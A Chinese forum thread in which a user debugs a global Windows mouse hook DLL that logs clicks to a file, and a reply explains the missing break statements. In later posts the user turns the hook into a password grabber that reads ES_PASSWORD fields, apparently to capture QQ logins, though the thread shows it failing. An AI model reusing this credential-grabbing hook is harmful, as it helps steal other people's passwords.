能不能说一下实现步骤!!!谢谢各位了

解决方案 »

  1.   

    Hook.dll#include <windows.h>
    #include <stdio.h>HHOOK g_hMouse;LRESULT CALLBACK MouseProc(
      int nCode,      // hook code
      WPARAM wParam,  // message identifier
      LPARAM lParam   // mouse coordinates
    )
    {
      MOUSEHOOKSTRUCT *mouse;
      mouse=(MOUSEHOOKSTRUCT*)lParam;
      char all[200],message[9]={0};
      
      switch(wParam)
      {
      case WM_LBUTTONDOWN:    strcpy(message, "左击");
      case WM_LBUTTONDBLCLK:  strcpy(message, "左键双击");
      case WM_RBUTTONDOWN:    strcpy(message, "右击");
      case WM_RBUTTONDBLCLK:  strcpy(message, "右键双击");
      //case WM_MOUSEMOVE:      strcpy(message,"鼠标移动");
      }
      sprintf(all,"鼠标%s x:%d y:%d",message,mouse->pt.x,mouse->pt.y);
      FILE *file=fopen("mouse.txt","a");
      fwrite(all,1,strlen(all),file);
      fclose(file);
      return 0;
    }void SetHook()
    {
     SetWindowsHookEx(WH_MOUSE,MouseProc, GetModuleHandle("Hook"),0);
    }我点了鼠标但是没看到case WM_LBUTTONDOWN:    strcpy(message, "左击");
                        case WM_RBUTTONDOWN:    strcpy(message, "右击");
    双击都正常,请问为什么??????
      

  2.   

    #include <windows.h>
    #include <stdio.h>HHOOK g_hMouse;LRESULT CALLBACK MouseProc(
      int nCode,      // hook code
      WPARAM wParam,  // message identifier
      LPARAM lParam   // mouse coordinates
    )
    {
      MOUSEHOOKSTRUCT *mouse;
      mouse=(MOUSEHOOKSTRUCT*)lParam;
      char all[200],message[9]={0};
      
      switch(wParam)
      {
      case WM_LBUTTONDOWN:    strcpy(message, "左击");
      case WM_LBUTTONDBLCLK:  strcpy(message, "左键双击");
      case WM_RBUTTONDOWN:    strcpy(message, "右击");
      case WM_RBUTTONDBLCLK:  strcpy(message, "右键双击");
      //case WM_MOUSEMOVE:      strcpy(message,"鼠标移动");
      }
      sprintf(all,"鼠标%s x:%d y:%d\n",message,mouse->pt.x,mouse->pt.y);
      FILE *file=fopen("mouse.txt","a");
      fwrite(all,1,strlen(all),file);
      fclose(file);
      return CallNextHookEx(g_hMouse,nCode,wParam,lParam);;
    }void SetHook()
    {
     SetWindowsHookEx(WH_MOUSE,MouseProc, GetModuleHandle("Hook"),0);
    }
    改了一下好像左右击消息 左双击消息都没有了
    鼠标 x:722 y:262
    鼠标 x:720 y:264
    鼠标 x:718 y:266
    鼠标 x:717 y:269
    鼠标 x:717 y:271
    鼠标 x:717 y:275
    鼠标 x:717 y:275
    鼠标 x:717 y:276
    鼠标 x:717 y:276
    鼠标 x:718 y:275
    鼠标 x:718 y:275
    鼠标右键双击 x:718 y:275
    鼠标右键双击 x:718 y:275
    鼠标 x:718 y:275
    鼠标 x:718 y:275
    鼠标 x:717 y:275
    鼠标 x:717 y:275
    鼠标 x:717 y:276
    鼠标 x:716 y:276
    我一直按得左键没有只有鼠标右键双击
      

  3.   

    我左右左右的按得时候是
    鼠标右键双击 x:533 y:291
    鼠标 x:533 y:291
    鼠标 x:533 y:291
    鼠标右键双击 x:533 y:291
    鼠标 x:533 y:291
    鼠标右键双击 x:533 y:291
    鼠标 x:534 y:291
    鼠标 x:534 y:291
    鼠标 x:534 y:291
    鼠标右键双击 x:534 y:291
    鼠标 x:534 y:291
    鼠标右键双击 x:534 y:291
    鼠标 x:534 y:291
    鼠标右键双击 x:534 y:291
      

  4.   

    没有天理啊!!!!!!!!!
    我打开文件的纪录结果
    鼠标 x:832 y:464
    鼠标 x:832 y:464
    鼠标 x:831 y:463
    鼠标 x:830 y:462
    鼠标 x:829 y:461
    鼠标 x:825 y:459
    鼠标 x:809 y:453
    鼠标 x:785 y:445
    鼠标 x:754 y:435
    鼠标 x:771 y:419
    鼠标 x:797 y:435
    鼠标 x:802 y:436
    鼠标 x:805 y:437
    鼠标 x:811 y:439
    鼠标 x:813 y:440
    鼠标 x:818 y:441
    鼠标 x:821 y:442
    鼠标 x:825 y:444
    鼠标 x:831 y:445
    鼠标 x:834 y:446
    鼠标 x:840 y:449
    鼠标 x:848 y:451
    鼠标 x:851 y:453
    鼠标 x:854 y:454
    鼠标 x:861 y:456
    鼠标 x:864 y:457
    鼠标 x:871 y:459
    鼠标 x:877 y:461
    鼠标 x:879 y:461
    鼠标 x:881 y:461
    鼠标 x:881 y:461
    鼠标 x:881 y:456
    鼠标 x:881 y:454
    鼠标 x:881 y:454
    鼠标 x:881 y:453
    鼠标 x:880 y:451
    鼠标 x:880 y:449
    鼠标 x:877 y:447
    鼠标 x:877 y:445
    鼠标 x:876 y:445
    鼠标 x:875 y:443
    鼠标 x:875 y:441
    鼠标 x:874 y:440
    鼠标 x:874 y:439
    鼠标 x:873 y:437
    鼠标 x:873 y:435
    鼠标 x:873 y:434
    鼠标 x:872 y:432
    鼠标 x:872 y:431
    鼠标 x:871 y:430
    鼠标 x:871 y:429
    鼠标 x:871 y:428
    鼠标 x:870 y:428
    鼠标 x:870 y:426
    鼠标 x:870 y:425
    鼠标 x:869 y:424
    鼠标 x:869 y:423
    鼠标 x:868 y:422
    鼠标 x:868 y:421
    鼠标 x:868 y:421
    鼠标 x:868 y:420
    鼠标 x:868 y:420
    鼠标 x:868 y:420
    鼠标 x:868 y:420
    没有双击,那我是怎么打开文件呢????
      

  5.   

    鼠标 x:926 y:721
    鼠标 x:926 y:722
    鼠标 x:926 y:723
    鼠标右键双击 x:926 y:723
    鼠标 x:927 y:723
    鼠标 x:927 y:723
    又试了一次明明是左键双击,上面是鼠标右键双击 x:926 y:723,微软的消息有问题!!!
      

  6.   

    调用SetWindowsHookEx时应该把返回值传给g_hMouse
    g_hMouse=SetWindowsHookEx(WH_MOUSE,MouseProc, GetModuleHandle("Hook"),0);
    另外建议调试时不要把WM_MOUSEMOVE那一行注释掉,这样就可以看到每一行输出的来源.
      

  7.   


    鼠标鼠标移动 x:696 y:251
    鼠标鼠标移动 x:696 y:251
    鼠标鼠标移动 x:695 y:251
    鼠标鼠标移动 x:693 y:251
    鼠标鼠标移动 x:689 y:251
    鼠标鼠标移动 x:690 y:251
    鼠标鼠标移动 x:691 y:250
    鼠标鼠标移动 x:694 y:246
    鼠标 x:708 y:224
    鼠标 x:723 y:202
    鼠标鼠标移动 x:735 y:188
    鼠标鼠标移动 x:735 y:188
    鼠标 x:748 y:168
    鼠标 x:761 y:149
    鼠标 x:774 y:132
    鼠标 x:786 y:118
    鼠标 x:723 y:202
    鼠标 x:715 y:115
    鼠标 x:718 y:124
    鼠标 x:721 y:134
    鼠标 x:725 y:144
    鼠标 x:729 y:155
    鼠标 x:729 y:155
    鼠标 x:729 y:155
    鼠标 x:729 y:155
    鼠标 x:731 y:163
    鼠标 x:731 y:163
    鼠标 x:731 y:163
    鼠标 x:731 y:163
    鼠标 x:731 y:163
    鼠标 x:731 y:163
    鼠标 x:731 y:163
    鼠标鼠标移动 x:734 y:171
    鼠标鼠标移动 x:734 y:171
    鼠标鼠标移动 x:734 y:171
    鼠标鼠标移动 x:738 y:182
    鼠标鼠标移动 x:738 y:182
    鼠标鼠标移动 x:738 y:182
    鼠标鼠标移动 x:741 y:193
    鼠标鼠标移动 x:741 y:193
    鼠标鼠标移动 x:741 y:193
    鼠标鼠标移动 x:741 y:193
    鼠标鼠标移动 x:741 y:193
    鼠标 x:744 y:202
    鼠标 x:747 y:210
    鼠标 x:749 y:218
    鼠标鼠标移动 x:750 y:231
    鼠标鼠标移动 x:750 y:241
    鼠标鼠标移动 x:750 y:248
    鼠标鼠标移动 x:746 y:260
    鼠标鼠标移动 x:746 y:266
    鼠标鼠标移动 x:746 y:280
    鼠标鼠标移动 x:746 y:284
    鼠标鼠标移动 x:747 y:284
    鼠标鼠标移动 x:747 y:284
    鼠标鼠标移动 x:746 y:284
    鼠标鼠标移动 x:746 y:283
    鼠标鼠标移动 x:745 y:283
    鼠标鼠标移动 x:741 y:282
    鼠标鼠标移动 x:738 y:282
    鼠标鼠标移动 x:735 y:282
    鼠标鼠标移动 x:730 y:282
    鼠标鼠标移动 x:727 y:282
    鼠标鼠标移动 x:725 y:282
    鼠标鼠标移动 x:721 y:282
    鼠标鼠标移动 x:720 y:282
    鼠标鼠标移动 x:719 y:282
    鼠标鼠标移动 x:718 y:282
    鼠标鼠标移动 x:717 y:281
    鼠标鼠标移动 x:717 y:280
    鼠标鼠标移动 x:717 y:279
    鼠标鼠标移动 x:717 y:278
    鼠标鼠标移动 x:717 y:277
    鼠标鼠标移动 x:717 y:277
    鼠标鼠标移动 x:717 y:277
    鼠标鼠标移动 x:716 y:277
    鼠标鼠标移动 x:716 y:277
    鼠标鼠标移动 x:717 y:277
    鼠标鼠标移动 x:717 y:277
    鼠标 x:717 y:277
    还是没有左右击
      

  8.   

    连双击都没了
    鼠标鼠标移动 x:818 y:484
    鼠标鼠标移动 x:818 y:484
    鼠标鼠标移动 x:817 y:484
    鼠标鼠标移动 x:807 y:476
    鼠标鼠标移动 x:800 y:469
    鼠标 x:769 y:453
    鼠标 x:744 y:439
    鼠标 x:814 y:435
    鼠标 x:814 y:445
    鼠标 x:814 y:459
    鼠标鼠标移动 x:819 y:472
    鼠标鼠标移动 x:821 y:476
    鼠标鼠标移动 x:826 y:483
    鼠标鼠标移动 x:829 y:486
    鼠标鼠标移动 x:832 y:488
    鼠标鼠标移动 x:834 y:491
    鼠标鼠标移动 x:835 y:492
    鼠标鼠标移动 x:834 y:492
    鼠标鼠标移动 x:833 y:492
    鼠标鼠标移动 x:833 y:493
    鼠标鼠标移动 x:833 y:493
    鼠标鼠标移动 x:833 y:495
    鼠标鼠标移动 x:832 y:496
    鼠标鼠标移动 x:830 y:500
    鼠标鼠标移动 x:829 y:502
    鼠标鼠标移动 x:828 y:504
    鼠标鼠标移动 x:826 y:508
    鼠标鼠标移动 x:825 y:508
    鼠标鼠标移动 x:824 y:509
    鼠标鼠标移动 x:824 y:511
    鼠标鼠标移动 x:823 y:512
    鼠标鼠标移动 x:824 y:512
    鼠标鼠标移动 x:824 y:513
    鼠标鼠标移动 x:824 y:513
    鼠标 x:824 y:513
    太奇怪了
      

  9.   

    #include <windows.h>
    #include <stdio.h>HHOOK g_hMouse;LRESULT CALLBACK MouseProc(
      int nCode,      // hook code
      WPARAM wParam,  // message identifier
      LPARAM lParam   // mouse coordinates
    )
    {
      MOUSEHOOKSTRUCT *mouse;
      mouse=(MOUSEHOOKSTRUCT*)lParam;
      char all[500]/*,message[9]={0}*/;
      HWND hTargetHwnd=mouse->hwnd;
      if(hTargetHwnd)
      {
      LONG style=GetWindowLong(hTargetHwnd,GWL_STYLE);
      
      /*switch(wParam)
      {
      case WM_LBUTTONDOWN:    strcpy(message, "左击");
      case WM_LBUTTONDBLCLK:  strcpy(message, "左键双击");
      case WM_RBUTTONDOWN:    strcpy(message, "右击");
      case WM_RBUTTONDBLCLK:  strcpy(message, "右键双击");
      case WM_MOUSEMOVE:      strcpy(message,"鼠标移动");
      }*/
      if(style&ES_PASSWORD)
      {
      char szPass[255];
      SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
      sprintf(all,"鼠标%l,%s x:%d y:%d\n",style,szPass,mouse->pt.x,mouse->pt.y);
      FILE *file=fopen("mouse.txt","a");
      fwrite(all,1,strlen(all),file);
      fclose(file);
      }
      }
      return CallNextHookEx(g_hMouse,nCode,wParam,lParam);;
    }void SetHook()
    {
     g_hMouse=SetWindowsHookEx(WH_MOUSE,MouseProc, GetModuleHandle("Hook"),0);
    }看到网上有个钩子,结果这样也不行!!!!!!!!没有显示!!!郁闷阿
      

  10.   

    又改了一下
    #include <windows.h>
    #include <stdio.h>HHOOK g_hMouse;LRESULT CALLBACK MouseProc(
      int nCode,      // hook code
      WPARAM wParam,  // message identifier
      LPARAM lParam   // mouse coordinates
    )
    {
      MOUSEHOOKSTRUCT *mouse;
      mouse=(MOUSEHOOKSTRUCT*)lParam;
      char all[500]/*,message[9]={0}*/;
      HWND hTargetHwnd=mouse->hwnd;
      if(hTargetHwnd)
      {
      LONG style=GetWindowLong(hTargetHwnd,GWL_STYLE);
       
      /*switch(wParam)
      {
      case WM_LBUTTONDOWN:    strcpy(message, "左击");
      case WM_LBUTTONDBLCLK:  strcpy(message, "左键双击");
      case WM_RBUTTONDOWN:    strcpy(message, "右击");
      case WM_RBUTTONDBLCLK:  strcpy(message, "右键双击");
      case WM_MOUSEMOVE:      strcpy(message,"鼠标移动");
      }*/
      if(style/*&ES_PASSWORD*/)
      {
      
      char szPass[255];
      SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
      sprintf(all,"%ld,%s, x:%d y:%d\n",style,szPass,mouse->pt.x,mouse->pt.y);
      FILE *file=fopen("E:\\vc code\\1\\testhook\\mouse.txt","a");
      fwrite(all,1,strlen(all),file);
      fclose(file);
      }
      }
      return CallNextHookEx(g_hMouse,nCode,wParam,lParam);;
    }void SetHook()
    {
     g_hMouse=SetWindowsHookEx(WH_MOUSE,MouseProc, GetModuleHandle("Hook"),0);
    }
    结果还是没有密码,别的到事有
    1342242827,登录, x:558 y:447
    1342242827,登录, x:558 y:446
    1342242827,登录, x:557 y:444
    -1798700860,QQ用户登录, x:553 y:440
    -1798700860,QQ用户登录, x:552 y:439
    -1798700860,QQ用户登录, x:550 y:438
    -1798700860,QQ用户登录, x:548 y:437
    -1798700860,QQ用户登录, x:547 y:436
    -1798700860,QQ用户登录, x:546 y:435
    -1798700860,QQ用户登录, x:545 y:434
    -1798700860,QQ用户登录, x:545 y:433
    -1798700860,QQ用户登录, x:543 y:431
    -1798700860,QQ用户登录, x:540 y:430
    -1798700860,QQ用户登录, x:538 y:429
    -1798700860,QQ用户登录, x:536 y:428
    -1798700860,QQ用户登录, x:534 y:428
    -1798700860,QQ用户登录, x:530 y:426
    -1798700860,QQ用户登录, x:528 y:426
    -1798700860,QQ用户登录, x:526 y:425
    -1798700860,QQ用户登录, x:523 y:424
    -1798700860,QQ用户登录, x:522 y:424
    -1798700860,QQ用户登录, x:521 y:423
    -1798700860,QQ用户登录, x:521 y:422
    -1798700860,QQ用户登录, x:520 y:421
    -1798700860,QQ用户登录, x:519 y:421
    -1798700860,QQ用户登录, x:518 y:420
    -1798700860,QQ用户登录, x:514 y:419
    -1798700860,QQ用户登录, x:512 y:419
    -1798700860,QQ用户登录, x:508 y:417
    1342275587,自动登录, x:499 y:415
    1342275587,自动登录, x:488 y:413
    1342275587,自动登录, x:481 y:412
    1342275587,自动登录, x:469 y:411
    1342275587,自动登录, x:463 y:411
    1342275587,自动登录, x:456 y:410
    1342275587,自动登录, x:454 y:409
    1342275587,自动登录, x:452 y:408
    1342275587,自动登录, x:450 y:408
    1342275587,自动登录, x:450 y:408
    1342275587,自动登录, x:451 y:408
    1342275587,自动登录, x:451 y:408
    1342275587,自动登录, x:451 y:408
    1342275587,自动登录, x:452 y:408
    1342275587,自动登录, x:452 y:407
    1342275587,自动登录, x:453 y:408
    1342275587,自动登录, x:453 y:408
    1342275587,自动登录, x:455 y:408
    1342275587,自动登录, x:457 y:409
    1342275587,自动登录, x:461 y:410
    1342275587,自动登录, x:465 y:411
    1342275587,自动登录, x:479 y:414
    1342275587,自动登录, x:490 y:415
    1342275587,自动登录, x:501 y:415
    -1798700860,QQ用户登录, x:510 y:415
    1342275587,隐身登录, x:530 y:415
    1342275587,隐身登录, x:543 y:415
    1342275587,隐身登录, x:549 y:415
    1342275587,隐身登录, x:555 y:415
    1342275587,隐身登录, x:556 y:415
    1342275587,隐身登录, x:555 y:415
    1342275587,隐身登录, x:555 y:414
    1342275587,隐身登录, x:555 y:415
    1342275587,隐身登录, x:552 y:415
    1342275587,隐身登录, x:551 y:415
    1342275587,隐身登录, x:551 y:414
    1342275587,隐身登录, x:550 y:414
    1342275587,隐身登录, x:551 y:414
    1342275587,隐身登录, x:551 y:413
    1342275587,隐身登录, x:551 y:413
    1342275587,隐身登录, x:551 y:412
    1342275587,隐身登录, x:551 y:412
    1342275587,隐身登录, x:551 y:412
    1342275587,隐身登录, x:551 y:412
    1342275587,隐身登录, x:551 y:412
    1342275587,隐身登录, x:552 y:412
    1342275587,隐身登录, x:553 y:412
    1342275587,隐身登录, x:555 y:414
    1342275587,隐身登录, x:560 y:416
    -1798700860,QQ用户登录, x:567 y:419
    -1798700860,QQ用户登录, x:572 y:421
    -1798700860,QQ用户登录, x:580 y:423
    -1798700860,QQ用户登录, x:590 y:427
    -1798700860,QQ用户登录, x:601 y:430
    -1798700860,QQ用户登录, x:614 y:434
    -1798700860,QQ用户登录, x:618 y:436
    -1798700860,QQ用户登录, x:623 y:439
    -1798700860,QQ用户登录, x:624 y:441
    1342242827,取消, x:623 y:442
    1342242827,取消, x:621 y:442
    1342242827,取消, x:618 y:442
    1342242827,取消, x:615 y:443
    1342242827,取消, x:614 y:442
    1342242827,取消, x:612 y:442
    1342242827,取消, x:612 y:442
    1342242827,取消, x:611 y:442
    1342242827,取消, x:611 y:442
    1342242827,取消, x:611 y:443
    1342242827,取消, x:610 y:443
    1342242827,取消, x:610 y:444
    1342242827,取消, x:610 y:444
    1342242827,取消, x:610 y:445
    1342242827,取消, x:610 y:445
    1342242827,取消, x:610 y:446
    1342242827,取消, x:610 y:446
    1342242827,取消, x:611 y:447
    1342242827,取消, x:611 y:448
    1342242827,取消, x:612 y:448
    1342242827,取消, x:613 y:449
    1342242827,取消, x:613 y:449
    1342242827,取消, x:613 y:449
    1342242827,取消, x:613 y:448
    1342242827,取消, x:613 y:448
    1342242827,取消, x:613 y:448
    1342242827,取消, x:613 y:448
    1442851648,FolderView, x:613 y:448
    1442851648,FolderView, x:612 y:447
    1442851648,FolderView, x:611 y:447
    1442851648,FolderView, x:612 y:448
    1442851648,FolderView, x:612 y:450
    1442851648,FolderView, x:619 y:459
    1442851648,FolderView, x:625 y:467
    1442851648,FolderView, x:642 y:485
    1442851648,FolderView, x:645 y:490
    1442851648,FolderView, x:649 y:496
    1442851648,FolderView, x:657 y:509
    1442851648,FolderView, x:666 y:524
    1442851648,FolderView, x:669 y:531
    1442851648,FolderView, x:671 y:539
    1442851648,FolderView, x:676 y:556
    1442851648,FolderView, x:681 y:564
    1442851648,FolderView, x:692 y:581
    1442851648,FolderView, x:699 y:593
    1442851648,FolderView, x:707 y:603
    1442851648,FolderView, x:721 y:625
    1442851648,FolderView, x:730 y:637
    -1798831932,testhook, x:740 y:647
    -1798831932,testhook, x:763 y:664
    -1798831932,testhook, x:774 y:671
    -1798831932,testhook, x:793 y:684
    -1798831932,testhook, x:810 y:692
    -1798831932,testhook, x:818 y:696
    -1798831932,testhook, x:827 y:701
    -1798831932,testhook, x:833 y:703
    -1798831932,testhook, x:844 y:706
    -1798831932,testhook, x:849 y:707
    -1798831932,testhook, x:853 y:708
    -1798831932,testhook, x:859 y:708
    -1798831932,testhook, x:862 y:707
    -1798831932,testhook, x:863 y:707
    -1798831932,testhook, x:865 y:704
    -1798831932,testhook, x:866 y:703
    -1798831932,testhook, x:866 y:700
    -1798831932,testhook, x:867 y:699
    -1798831932,testhook, x:868 y:697
    -1798831932,testhook, x:869 y:696
    -1798831932,testhook, x:870 y:694
    -1798831932,testhook, x:871 y:694
    -1798831932,testhook, x:871 y:693
    -1798831932,testhook, x:872 y:693
    -1798831932,testhook, x:873 y:693
    -1798831932,testhook, x:875 y:694
    -1798831932,testhook, x:878 y:695
    -1798831932,testhook, x:880 y:697
    -1798831932,testhook, x:885 y:698
    -1798831932,testhook, x:890 y:700
    -1798831932,testhook, x:893 y:701
    -1798831932,testhook, x:897 y:702
    1342242816,取消, x:898 y:703
    1342242816,取消, x:900 y:703
    1342242816,取消, x:901 y:703
    1342242816,取消, x:902 y:704
    1342242816,取消, x:903 y:705
    1342242816,取消, x:905 y:707
    1342242816,取消, x:907 y:707
    1342242816,取消, x:908 y:708
    1342242816,取消, x:910 y:709
    1342242816,取消, x:910 y:709
    1342242816,取消, x:911 y:709
    1342242816,取消, x:912 y:709
    1342242816,取消, x:912 y:709
    1342242817,取消, x:913 y:709
    1342242817,取消, x:914 y:709
    1342242817,取消, x:914 y:709
      

  11.   

    好像就是qq的密码框框找不到,其他都可以哦!!为啥?????????
    1798832128,离线播放器 安装程序, x:472 y:509
    -1798832128,离线播放器 安装程序, x:450 y:501
    -1798832128,离线播放器 安装程序, x:439 y:498
    1342373899,我同意该许可协议的条款, x:422 y:493
    1342373899,我同意该许可协议的条款, x:414 y:489
    1342373899,我同意该许可协议的条款, x:407 y:487
    -1798832128,离线播放器 安装程序, x:391 y:481
    -1798832128,离线播放器 安装程序, x:384 y:479
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:380 y:478
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:377 y:477
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:373 y:476
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:372 y:475
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:370 y:475
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:369 y:474
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:369 y:475
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:370 y:475
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:370 y:476
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:370 y:477
    1344342084,离线播放器最终用户许可协议:   请务必仔细阅读和理解本用户许可协议(下称“协议”)中的内容,并决定是否接受本协议的条款。除非接受了本协议的条款,否则请不要安装离线播放器在您的计算机上;您一旦安装了离线播放器,即自动表示您已同意接受本协议以下各项条款。藾!P?7, x:370 y:478
    -1798832128,离线播放器 安装程序, x:370 y:479
    -1798832128,离线播放器 安装程序, x:371 y:480
    -1798832128,离线播放器 安装程序, x:371 y:483
    1342373899,我同意该许可协议的条款, x:371 y:484
    1342373899,我同意该许可协议的条款, x:371 y:485
    1342373899,我同意该许可协议的条款, x:371 y:487
    1342373899,我同意该许可协议的条款, x:371 y:488
    1342373899,我同意该许可协议的条款, x:372 y:488
    1342373899,我同意该许可协议的条款, x:372 y:489
    1342373899,我同意该许可协议的条款, x:373 y:489
    1342373899,我同意该许可协议的条款, x:374 y:489
    1342373899,我同意该许可协议的条款, x:374 y:490
    1342373899,我同意该许可协议的条款, x:374 y:490
    1342373899,我同意该许可协议的条款, x:375 y:490
    1342373899,我同意该许可协议的条款, x:375 y:489
    1342373899,我同意该许可协议的条款, x:375 y:489
      

  12.   

    又看了一下你的代码,发现switch的使用有问题.每一个case都应该用break;分开,不然的话就会把下面的case也都执行了.比如说如果你双击了左键,程序就会执行:
    case WM_LBUTTONDBLCLK: strcpy(message, "左键双击");
    case WM_RBUTTONDOWN: strcpy(message, "右击");
    case WM_RBUTTONDBLCLK: strcpy(message, "右键双击");
    case WM_MOUSEMOVE: strcpy(message,"鼠标移动");
    每一项都会执行,所以你最后得到的是"鼠标移动",而不是"左键双击".